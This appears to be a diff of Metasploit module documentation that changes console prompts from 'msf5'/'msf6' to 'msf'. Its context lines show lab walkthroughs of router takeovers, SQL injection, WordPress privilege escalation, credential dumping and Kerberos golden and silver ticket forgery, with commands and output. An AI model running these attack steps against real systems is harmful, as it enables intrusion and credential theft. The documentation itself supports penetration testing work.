-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
    RHOSTS => 192.168.1.1
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > check
    
    [*] Target is running firmware version 1.0.4.84
    [*] 192.168.1.1:5000 - The target appears to be vulnerable.
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
    [*] Running module against 192.168.1.1
    
    [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
@@ -93,24 +93,24 @@ upnpd port on the target. Default 5000.
    [*]     2.7- run it and login with 'admin:<WHATEVER>'
    [*] 3- Enjoy your root shell!
    [*] Auxiliary module execution completed
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) >
 ```

 Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
 session running as `root`, entered the following commands:

 ```
-    msf5 > use exploit/linux/telnet/netgear_telnetenable
+    msf > use exploit/linux/telnet/netgear_telnetenable
    [*] No payload configured, defaulting to cmd/unix/interact
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
+    msf exploit(linux/telnet/netgear_telnetenable) > set username admin
    username => admin
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
+    msf exploit(linux/telnet/netgear_telnetenable) > set password testing123
    password => testing123
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
+    msf exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
    MAC => D56C89FC94C9
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
+    msf exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
    RHOSTS => 192.168.1.1
-    msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
+    msf exploit(linux/telnet/netgear_telnetenable) > exploit
    
    [+] 192.168.1.1:23 - Detected telnetenabled on UDP
    [+] 192.168.1.1:23 - Using creds admin:testing123
@@ -147,8 +147,8 @@ session running as `root`, entered the following commands:
 ### Netgear R6700v3 firmware version V1.0.0.4.82_10.0.57

 ```
-    msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
+    msf > use auxiliary/admin/http/netgear_r6700_pass_reset
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > show options
    
    Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
    
@@ -160,13 +160,13 @@ session running as `root`, entered the following commands:
       SSL      false            no        Negotiate SSL/TLS for outgoing connections
       VHOST                     no        HTTP server virtual host
    
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
    RHOSTS => 192.168.1.1
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > check
    
    [*] Target is running firmware version 1.0.4.82
    [*] 192.168.1.1:5000 - The target appears to be vulnerable.
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
    [*] Running module against 192.168.1.1
    
    [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.
@@ -186,16 +186,16 @@ session running as `root`, entered the following commands:
    [*]     2.7- run it and login with 'admin:<WHATEVER>'
    [*] 3- Enjoy your root shell!
    [*] Auxiliary module execution completed
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) >
 ```

 Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
 session running as `root`, entered the following commands:

 ```
-    msf5 > use exploit/linux/telnet/netgear_telnetenable
+    msf > use exploit/linux/telnet/netgear_telnetenable
    [*] No payload configured, defaulting to cmd/unix/interact
-    msf5 exploit(linux/telnet/netgear_telnetenable) > show options
+    msf exploit(linux/telnet/netgear_telnetenable) > show options
    
    Module options (exploit/linux/telnet/netgear_telnetenable):
    
@@ -226,15 +226,15 @@ session running as `root`, entered the following commands:
       0   Automatic (detect TCP or UDP)
    
    
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
+    msf exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
    RHOST => 192.168.1.1
-    set msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
+    set msf exploit(linux/telnet/netgear_telnetenable) > set username admin
    username => admin
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
+    msf exploit(linux/telnet/netgear_telnetenable) > set password testing123
    password => testing123
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
+    msf exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
    MAC => D56C89FC94C9
-    msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
+    msf exploit(linux/telnet/netgear_telnetenable) > exploit
    
    [+] 192.168.1.1:23 - Detected telnetenabled on UDP
    [+] 192.168.1.1:23 - Using creds admin:testing123
@@ -30,10 +30,10 @@ Netgear R7000 routers running firmware version `1.0.11.116` and earlier.

 ### Netgear R7000 with Firmware Version 1.0.11.116
 ```
-msf6 > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
-msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > set RHOSTS 192.168.1.1
+msf > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
+msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > set RHOSTS 192.168.1.1
 RHOSTS => 192.168.1.1
-msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show options
+msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show options

 Module options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce):

@@ -45,7 +45,7 @@ Module options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

-msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run
+msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run
 [*] Running module against 192.168.1.1

 [*] Executing automatic check (disable AutoCheck to override)
@@ -54,7 +54,7 @@ msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run
 [*] Sending 10th and final packet...
 [*] If the exploit succeeds, you should be able to connect to the telnet shell by running: telnet 192.168.1.1
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) >
+msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) >
 ```

 And in a separate terminal shell:
@@ -73,9 +73,9 @@ resource (pihole.rb)> run
 [*] Forcing gravity pull
 [+] /var/www/html/admin/scripts/pi-hole/php
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/pihole_domains_api_exec) > set command whoami
+msf auxiliary(admin/http/pihole_domains_api_exec) > set command whoami
 command => whoami
-msf6 auxiliary(admin/http/pihole_domains_api_exec) > run
+msf auxiliary(admin/http/pihole_domains_api_exec) > run
 [*] Running module against 192.168.2.199

 [+] Web Interface Version Detected: 5.3.1
@@ -48,14 +48,14 @@ Wordlist file to crack password hashes (default: `./data/unix_passwords.txt`)
 ## Scenarios

 ```
-msf6 > use auxiliary/admin/http/scadabr_credential_dump 
-msf6 auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194
+msf > use auxiliary/admin/http/scadabr_credential_dump 
+msf auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194
 rhosts => 172.16.191.194
-msf6 auxiliary(admin/http/scadabr_credential_dump) > set username admin
+msf auxiliary(admin/http/scadabr_credential_dump) > set username admin
 username => admin
-msf6 auxiliary(admin/http/scadabr_credential_dump) > set password admin
+msf auxiliary(admin/http/scadabr_credential_dump) > set password admin
 password => admin
-msf6 auxiliary(admin/http/scadabr_credential_dump) > run
+msf auxiliary(admin/http/scadabr_credential_dump) > run
 [*] Running module against 172.16.191.194

 [+] 172.16.191.194:8080 Authenticated successfully as 'admin'
@@ -91,7 +91,7 @@ ScadaBR Service Credentials
 SMTP        127.0.0.1  25    smtptestuser   smtptestpass

 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/scadabr_credential_dump) > creds
+msf auxiliary(admin/http/scadabr_credential_dump) > creds
 Credentials
 ===========

@@ -103,6 +103,6 @@ host            origin          service          public    private   realm  priv
 172.16.191.194  172.16.191.194  8080/tcp (http)  user      A                Password
 172.16.191.194  172.16.191.194  8080/tcp (http)  zxcv      zxcv             Password

-msf6 auxiliary(admin/http/scadabr_credential_dump) > 
+msf auxiliary(admin/http/scadabr_credential_dump) > 
 ```

@@ -18,12 +18,12 @@ Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
 ## Scenarios

 ```
-msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi 
-msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132
+msf > use auxiliary/admin/http/supra_smart_cloud_tv_rfi 
+msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132
 SRVHOST => 192.168.1.132
-msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155
+msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155
 RHOSTS => 192.168.1.155
-msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run
+msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run
 [*] Running module against 192.168.1.155
 [*] Using URL: http://192.168.1.132:8080/
 [*] Broadcasting Epic Sax Guy to 192.168.1.155:80
@@ -31,5 +31,5 @@ msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run
 [*] Sleeping for 10s serving .m3u8 and .ts files...
 [*] Server stopped.
 [*] Auxiliary module execution completed
-msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) >
+msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) >
 ```
@@ -37,14 +37,14 @@ The port on the target that is running the Apache JServ Protocol (AJP).
 ### Apache Tomcat 8.5.32

 ```
-msf6 > use auxiliary/admin/http/tomcat_ghostcat
-msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 127.0.0.1
+msf > use auxiliary/admin/http/tomcat_ghostcat
+msf auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 127.0.0.1
 RHOSTS => 127.0.0.1
-msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8080
+msf auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8080
 RPORT => 8080
-msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml
+msf auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml
 FILENAME => /WEB-INF/web.xml
-msf6 auxiliary(admin/http/tomcat_ghostcat) > run
+msf auxiliary(admin/http/tomcat_ghostcat) > run
 [*] Running module against 127.0.0.1
 Status Code: 200
 Accept-Ranges: bytes
@@ -45,5 +45,5 @@ id => 37
 [+] Username: admin
 [+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp.
 [*] Auxiliary module execution completed
-msf5 auxiliary(admin/http/typo3_news_module_sqli) > 
+msf auxiliary(admin/http/typo3_news_module_sqli) > 
 ```
@@ -45,20 +45,20 @@ Note: If you are using relative paths, use three periods when traversing down a
 ### Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.

 ```
-msf5 > use auxiliary/admin/http/ulterius_file_download
-msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
+msf > use auxiliary/admin/http/ulterius_file_download
+msf auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
 rhost => 172.22.222.122
-msf5 auxiliary(admin/http/ulterius_file_download) > run
+msf auxiliary(admin/http/ulterius_file_download) > run

 [*] Starting to parse fileIndex.db...
 [*] Remote file paths saved in: filepath0
 [*] Auxiliary module execution completed
-msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
+msf auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
 path => C:/users/pwnduser/desktop/tmp.txt
-msf5 auxiliary(admin/http/ulterius_file_download) > run
+msf auxiliary(admin/http/ulterius_file_download) > run

 [*] C:/users/pwnduser/desktop/tmp.txt
 [*] File contents saved: filepath1
 [*] Auxiliary module execution completed
-msf5 auxiliary(admin/http/ulterius_file_download) >
+msf auxiliary(admin/http/ulterius_file_download) >
 ```
@@ -21,9 +21,9 @@ Installation instructions are available [here](https://docs.progress.com/bundle/
 2. Start `msfconsole` and run the following commands:

 ```
-msf6 > use auxiliary/admin/http/whatsup_gold_sqli 
-msf6 auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS <IP>
-msf6 auxiliary(admin/http/whatsup_gold_sqli) > run
+msf > use auxiliary/admin/http/whatsup_gold_sqli 
+msf auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS <IP>
+msf auxiliary(admin/http/whatsup_gold_sqli) > run
 ```

 This should update the password of the default `admin` account.
@@ -41,7 +41,7 @@ The new password for the user
 Running the exploit against WhatsUp Gold v23.1.3 on Windows 22H2 should result in an output similar to the following:

 ```
-msf6 auxiliary(admin/http/whatsup_gold_sqli) > run
+msf auxiliary(admin/http/whatsup_gold_sqli) > run
 [*] Running module against 192.168.217.143

 [*] Running automatic check ("set AutoCheck false" to disable)
@@ -25,24 +25,24 @@ This module changes the admin email (optional) to prevent notification sending,
 ### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:

 ```
-msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
-msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
+msf > use auxiliary/admin/http/wp_gdpr_compliance_privesc
+msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
 verbose => true
-msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
+msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
 rhosts => 172.22.222.145
-msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
+msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
 email => test@example.com
-msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
+msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > check

 [*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
 [*] Found version 1.4.2 of the plugin
 [*] 172.22.222.145:80 The target appears to be vulnerable.
-msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
+msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit

 [*] Getting security token from host...
 [!] Enabling user registrations...
 [!] Setting the default user role type to administrator...
 [*] Registering msfuser with email test@example.com
 [*] Auxiliary module execution completed
-msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
+msf auxiliary(admin/http/wp_gdpr_compliance_privesc) >
 ```
@@ -23,7 +23,7 @@ Change the table prefix. By default, this option is set to `wp_`.
 ### wp-google-maps 7.11.17 on WordPress 4.9.5

 ```
-msf5 auxiliary(admin/http/wp_google_maps_sqli) > exploit
+msf auxiliary(admin/http/wp_google_maps_sqli) > exploit
 [*] Running module against 172.22.222.144

 [*] 172.22.222.144:80 - Trying to retrieve the wp_users table...
@@ -77,18 +77,18 @@ The username to perform a password reset against
 ### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker

 ```
-msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover
-msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1
+msf > use auxiliary/admin/http/wp_post_smtp_acct_takeover
+msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1
 rhost => 127.0.0.1
-msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555
+msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555
 rport => 5555
-msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false
+msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false
 ssl => false
-msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin
+msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin
 username => admin
-msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true
+msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true
 verbose => true
-msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
+msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
 [*] Running module against 127.0.0.1

 [*] Running automatic check ("set AutoCheck false" to disable)
@@ -102,4 +102,4 @@ msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
 [+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt
 [+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US
 [*] Auxiliary module execution completed
-```
+```
@@ -63,8 +63,8 @@ For golden ticket attacks, the following information is required:
 One way of extracting the krbtgt account NTHASH is to run the `auxiliary/gather/windows_secrets_dump` module:

 ```msf
-msf6 > use auxiliary/gather/windows_secrets_dump
-msf6 auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local
+msf > use auxiliary/gather/windows_secrets_dump
+msf auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local
 [*] Running module against 192.168.123.13

 [*] 192.168.123.13:445 - Service RemoteRegistry is already running
@@ -102,7 +102,7 @@ ADF3\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:767400b2c71afa35a5dca216f2389cd
 With the above information a golden ticket can be forged:

 ```msf
-msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=767400b2c71afa35a5dca216f2389cd9 user=Administrator
+msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=767400b2c71afa35a5dca216f2389cd9 user=Administrator

 [+] MIT Credential Cache ticket saved on /Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin
 [*] Auxiliary module execution completed
@@ -149,8 +149,8 @@ Example Service Principal Names:
 One way of extracting the computer account NTHASH is to run the `auxiliary/gather/windows_secrets_dump` module:

 ```msf
-msf6 > use auxiliary/gather/windows_secrets_dump
-msf6 auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local
+msf > use auxiliary/gather/windows_secrets_dump
+msf auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local
 [*] Running module against 192.168.123.13

 [*] 192.168.123.13:445 - Service RemoteRegistry is already running
@@ -188,7 +188,7 @@ ADF3\DC3$:1001:aad3b435b51404eeaad3b435b51404ee:fbd103200439e14d4c8adad675d5f244
 With the above information a silver ticket for SMB can be forged for the target host:

 ```msf
-msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_SILVER domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=fbd103200439e14d4c8adad675d5f244 user=Administrator spn=cifs/dc3.adf3.local
+msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_SILVER domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=fbd103200439e14d4c8adad675d5f244 user=Administrator spn=cifs/dc3.adf3.local

 [+] MIT Credential Cache ticket saved on /Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin
 [*] Auxiliary module execution completed
@@ -87,25 +87,25 @@ The Kerberos TGT to use when requesting the service ticket. If unset, the databa
 An example of viewing the Kerberos ticket cache, and requesting a TGT with NT hash:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > klist
+msf auxiliary(admin/kerberos/get_ticket) > klist
 Kerberos Cache
 ==============
 No tickets

-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash=<redacted> action=GET_TGT
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash=<redacted> action=GET_TGT
 [*] Running module against 10.0.0.24

 [+] 10.0.0.24:88 - Received a valid TGT-Response
 [*] 10.0.0.24:88 - TGT MIT Credential Cache saved on /home/msfuser/.msf4/loot/20221104181416_default_10.0.0.24_mit.kerberos.cca_912121.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > klist
+msf auxiliary(admin/kerberos/get_ticket) > klist
 Kerberos Cache
 ==============
 host            principal                 sname                         issued                     status  path
 ----            ---------                 -----                         ------                     ------  ----
 192.168.123.13  Administrator@ADF3.LOCAL  krbtgt/ADF3.LOCAL@ADF3.LOCAL  2023-01-12 19:37:54 +0000  valid   /Users/usr/.msf4/loot/20230112193756_default_192.168.123.13_mit.kerberos.cca_131390.bin
 
-msf6 auxiliary(admin/kerberos/get_ticket) > hosts
+msf auxiliary(admin/kerberos/get_ticket) > hosts

 Hosts
 =====
@@ -114,7 +114,7 @@ address          mac  name  os_name  os_flavor  os_sp  purpose  info  comments
 -------          ---  ----  -------  ---------  -----  -------  ----  --------
 10.0.0.24                   Unknown                    device

-msf6 auxiliary(admin/kerberos/get_ticket) > services
+msf auxiliary(admin/kerberos/get_ticket) > services
 Services
 ========

@@ -126,7 +126,7 @@ host             port  proto  name      state  info
 TGT with encryption key

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY=<redacted> action=GET_TGT
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY=<redacted> action=GET_TGT
 [*] Running module against 10.0.0.24

 [*] 10.0.0.24:88 - Getting TGT for Administrator@mylab.local
@@ -138,7 +138,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 TGT with password

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password=<redacted> action=GET_TGT
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password=<redacted> action=GET_TGT
 [*] Running module against 10.0.0.24

 [*] 10.0.0.24:88 - Getting TGT for Administrator@mylab.local
@@ -150,14 +150,14 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 TGT with certificate

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 cert_file=/home/msfuser/.msf4/loot/20230124155521_default_10.0.0.24_windows.ad.cs_384669.pfx action=GET_TGT
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 cert_file=/home/msfuser/.msf4/loot/20230124155521_default_10.0.0.24_windows.ad.cs_384669.pfx action=GET_TGT
 [*] Running module against 10.0.0.24

 [*] 10.0.0.24:88 - Getting TGT for Administrator@mylab.local
 [+] 10.0.0.24:88 - Received a valid TGT-Response
 [*] 10.0.0.24:88 - TGT MIT Credential Cache ticket saved to /home/msfuser/.msf4/loot/20230124155555_default_192.168.159.10_mit.kerberos.cca_702818.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) >
+msf auxiliary(admin/kerberos/get_ticket) >
 ```

 ### Requesting a TGS
@@ -165,7 +165,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) >
 TGS with NT hash:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash=<redacted> action=GET_TGS spn=cifs/dc02.mylab.local
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash=<redacted> action=GET_TGS spn=cifs/dc02.mylab.local
 [*] Running module against 10.0.0.24

 [+] 10.0.0.24:88 - Received a valid TGT-Response
@@ -173,7 +173,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 [+] 10.0.0.24:88 - Received a valid TGS-Response
 [*] 10.0.0.24:88 - TGS MIT Credential Cache saved to /home/msfuser/.msf4/loot/20221104182601_default_10.0.0.24_mit.kerberos.cca_883314.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > loot
+msf auxiliary(admin/kerberos/get_ticket) > loot

 Loot
 ====
@@ -187,7 +187,7 @@ host             service  type                 name  content                   i
 TGS with encryption key:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY=<redacted> action=GET_TGS spn=cifs/dc02.mylab.local
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY=<redacted> action=GET_TGS spn=cifs/dc02.mylab.local
 [*] Running module against 10.0.0.24

 [+] 10.0.0.24:88 - Received a valid TGT-Response
@@ -200,7 +200,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 TGS with password:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password=<redacted> action=GET_TGS spn=cifs/dc02.mylab.local
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password=<redacted> action=GET_TGS spn=cifs/dc02.mylab.local
 [*] Running module against 10.0.0.24

 [+] 10.0.0.24:88 - Received a valid TGT-Response
@@ -213,7 +213,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 TGS with cached TGT:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > loot
+msf auxiliary(admin/kerberos/get_ticket) > loot

 Loot
 ====
@@ -223,7 +223,7 @@ host             service  type                 name  content                   i
 10.0.0.24                 mit.kerberos.ccache        application/octet-stream  realm: MYLAB.LOCAL, serviceName: krbtgt/mylab.local, username: administrator     /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_171694.bin
 10.0.0.24                 mit.kerberos.ccache        application/octet-stream  realm: MYLAB.LOCAL, serviceName: cifs/dc02.mylab.local, username: administrator  /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_360960.bin

-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local
 [*] Running module against 10.0.0.24

 [*] 10.0.0.24:88 - Using cached credential for krbtgt/mylab.local Administrator
@@ -235,7 +235,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 TGS without cached TGT:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > loot
+msf auxiliary(admin/kerberos/get_ticket) > loot

 Loot
 ====
@@ -245,12 +245,12 @@ host             service  type                 name  content                   i
 10.0.0.24                 mit.kerberos.ccache        application/octet-stream  realm: MYLAB.LOCAL, serviceName: krbtgt/mylab.local, username: administrator     /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_171694.bin
 10.0.0.24                 mit.kerberos.ccache        application/octet-stream  realm: MYLAB.LOCAL, serviceName: cifs/dc02.mylab.local, username: administrator  /home/msfuser/.msf4/loot/20221104183244_default_10.0.0.24_mit.kerberos.cca_360960.bin

-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false
 [*] Running module against 10.0.0.24

 [-] Auxiliary aborted due to failure: unknown: Error while requesting a TGT: Kerberos Error - KDC_ERR_PREAUTH_REQUIRED (25) - Additional pre-authentication required - Check the authentication-related options (PASSWORD, NTHASH or AES_KEY)
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false password=<redacted>
